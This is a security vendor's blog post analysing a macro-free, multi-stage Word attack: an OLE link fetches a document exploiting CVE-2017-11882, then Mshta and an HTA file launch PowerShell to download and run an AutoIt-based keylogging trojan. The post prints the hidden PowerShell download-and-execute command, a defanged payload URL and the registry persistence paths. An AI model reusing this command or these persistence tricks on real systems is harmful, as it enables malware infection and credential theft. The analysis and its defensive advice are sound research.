Barkly vs Malware
Barkly Research
Apr 2018

Multi-Stage Microsoft Word Attack Drops Trojan Without Using Macros 


Barkly has blocked a new malware campaign that attempts to leverage a host of legitimate tools and functionality — including OLE, Mshta, PowerShell, and AutoIt — to infect victims with malware downloaded from Amazon S3 buckets.

Attackers are constantly experimenting with new ways to deploy malware without triggering detection. An increasingly common tactic is to conduct delivery and deployment in multiple stages, spreading the activity across several otherwise legitimate programs and processes in order to be less conspicuous. Because each of these individual elements are legitimate and approved, it's an especially effective technique for bypassing antivirus (AV), next-generation antivirus (NGAV), and other file-scanning security tools (signature-based or not).

It's not until the make-or-break moment when a malicious payload is retrieved that these tools even have a chance of stopping these attacks. If the payload is a new malware sample (no signature has been created yet), or, worse, loaded directly in memory (making it "fileless"), neither AV nor most NGAVs will be able to block it. 

Multi-staged attacks abusing OLE, Equation Editor

In February, the discovery of an active malware campaign utilizing a particularly complex, multi-stage deployment chain caused researchers at TrustWave's SpiderLabs to compare it to a turducken, a monstrosity of a dish that stuffs a chicken into a duck, and then the two into a turkey. 

The attack utilized an initial Word document that triggered an embedded Object Linking and Embedding (OLE) object, which then downloaded an RTF file that was used to exploit the Microsoft Office Equation Editor vulnerability (CVE-2017-11882). The exploit enabled the triggering of a MSHTA command line, and the download of a third component, an HTML executable (HTA) file. Embedded in that file was a PowerShell script that downloaded and executed the final payload, a credential-stealing trojan. 

If that chain of events sounds overly complicated and confusing, that's half the point. By including all of these steps, the attackers can make it difficult for security products to see and understand what they're trying to do. The complex process also allows the attackers to avoid doing the obvious (using macros) by abusing a Word vulnerability and other legitimate functionality, instead. 

New multi-stage, macro-free Word attack blocked by Barkly in the wild


Infection chain — click to expand

In late March, we blocked an attempted attack on a Barkly customer that was very similar to the malware campaign described by TrustWave's researchers, with several notable differences. 

It started, as many attacks do, with a malicious spam email. 


Spam email with Word document disguised as a payment copy

The email message itself is very short and basic. Likewise, attaching a Word document and disguising it as a payment copy or invoice is one of the most common tricks in the book. But as we'll see, this is a deceptively simple beginning to a surprisingly complex infection chain. 

Stage 1: Word document with embedded OLE object

When opened, the first Word document contains an embedded OLE object that contains external references. OLE is a legitimate feature built into Windows that allows documents to pull data from other documents or applications (ex: think having a Word doc that updates every time you open it by pulling data from a master doc). 

The OLE object triggers a warning to users that, "This document contains links that may refer to other files. Do you want to update this document with the data from the linked files?" but doesn't wait for users to click "yes" to operate. 


Initial Word document with OLE object that retrieves a second Word document

In this case, the OLE object retrieves a second Word document named "Stoner.doc" hosted in an external, publicly-accessible Amazon S3 bucket at hxxps://s3[.]amazonaws[.]com/rewqqq/terry/. 

Stage 2: Second Word document  

The second Word document has been created specifically to exploit vulnerability CVE-2017-11882, which affects Microsoft Office Equation Editor (EQNEDT32.exe), a legacy formula editor Microsoft killed off in January. Details about CVE-2017-11882 were publicly disclosed in November, with several PoC exploits posted online. Just days later, the Cobalt hacking group was observed exploiting the vulnerability in the wild

Microsoft fixed the bug in its November 2017 security update, but after a second vulnerability (CVE-2018-0802) was revealed in January, the company decided to solve for Equation Editor problems by removing it for good. As a result, computers that are currently patched and up-to-date are immune to this step in the infection process. With Meltdown and Spectre causing such widespread problems and slowing down the patching process for a large number of companies, however, many machines may still be vulnerable. 

If the document has landed on a machine that is still vulnerable, it will attempt to successfully exploit CVE-2017-11882 to execute a Mshta command line. 

Stage 3: Mshta used to download and execute remote .HTA file

Mshta.exe is a legitimate Microsoft application that, in this case, is used to download and execute an HTA file named "up.hta" from the same Amazon S3 bucket the second Word document was hosted in. 

Up.hta spawns PowerShell in order to download and execute the actual attack payload — an executable file named "shell.exe." 


Contents of up.hta

Stage 4: PowerShell used to download and execute malware payload

The following malicious PowerShell command is used to download and execute shell.exe (once again hosted in the same Amazon S3 bucket). 

powershell.exe" -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(', 'c:/windows/temp/shell.exe'); c:/windows/temp/shell.exe

The payload: An information-stealing trojan that abuses AutoIt


Process flow from exploitation of CVE-2017-11882 to registry settings changes 


  • Keylogging
  • Persistence via registry changes
  • Lowers Internet security settings via registry changes

While we are still actively investigating the shell.exe payload, initial analysis indicates it is an information-stealing trojan that takes a novel approach to achieving persistence. 

On execution, the trojan makes use of AutoIt (a legitimate Windows scripting language) to make several changes to the Startup registry key settings. 

First, it sets and creates a value in the registry to auto-execute when the user logs on (path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN").


Trojan makes changes to the registry to establish persistence and lower security settings

Second, it changes registry items related to proxy settings to lower internet security settings. This is a common tactic especially useful for injecting ads and malware into all browsers on the system (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS").

Once these changes have been made, the trojan goes about collecting host information from the system and launching its keylogging capabilities. It also attempts to make detection and forensics more difficult by marking the files shell.exe and fpg.exe for deletion after executing. 

Barkly isn't fooled by this complex infection chain


Barkly blocks this attack by preventing the trojan from running. No changes are made to the registry, no information is stolen, and no damage is done. Learn more about how Barkly works here.

Trend: Even generic spam campaigns are launching more complex attacks

This attack is in line with a growing trend we're seeing — more and more malware is making use of legitimate programs and functionality to carry out malicious activity while evading traditional antivirus solutions and whitelisting. This tactic is often referred to as "living off the land," and it's exhibited here via the attack's (mis)use of OLE, Mshta, PowerShell, and AutoIt. 

This malware also serves as an example of just how quickly new attack techniques can trickle down into the hands of common criminals and gain widespread adoption. From the initial disclosure of CVE-2017-11882 in November, it took the Cobalt hacking group a mere matter of days to begin exploiting it in targeted attacks. From there, it was just a few months before the tactic began appearing in mass distributed spam campaigns like this one.

How can organizations keep up? For starters...

  • Avoid playing whack-a-mole: Instead of getting stuck in a reactionary game of catch-up, invest in solutions and approaches that take a more proactive, scalable approach. One example is to focus less on trying to block individual malware samples (traditional antivirus) and more on blocking the fundamental behaviors and techniques attackers rely on to deploy malware successfully. 

    Example: In addition to blocking malicious executables with machine-learning-powered file analysis, Barkly also utilizes real-time behavioral analysis to block attack techniques like process injection, credential theft, privilege escalation, and others. As a result, Barkly blocks infection and exploit attempts regardless of what specific malware samples or CVEs are involved.  

  • Reduce your attack surface by securing Microsoft Office: Weaponized Office documents continue to be an extremely popular deployment vector. You can take away key functionality that many of these documents rely on by disabling or restricting the use of macros, OLE/COM components, and Dynamic Data Exchange (DDE).  

  • Patch what you can, isolate what you can't: Machines that have applied Microsoft's November 2017 Windows security update are immune to CVE-2017-11882. Microsoft's January 2018 Windows security update also addresses this attack and others like it by taking things one step further and killing off Equation Editor all together. If feasible, consider isolating any machines that aren't able to receive either of these updates. If you can't take them off the network at the very least limit what they have access to. 

Are you keeping up with the latest attacks?  Get more practical recommendations by downloading our free 2018 Cybersecurity Checklist

Barkly Research

Barkly Research

Barkly's malware research team is hard at work stopping new malware that sneaks past antivirus.


Close the gaps in your security

Stop paying for AV, get the strongest protection instead. See how Barkly blocks attacks that are getting past AV.

See a demo


Stay informed!

Get the latest security news, tips, and trends straight to your inbox.

Stay informed!

Get the latest security news, tips, and trends straight to your inbox.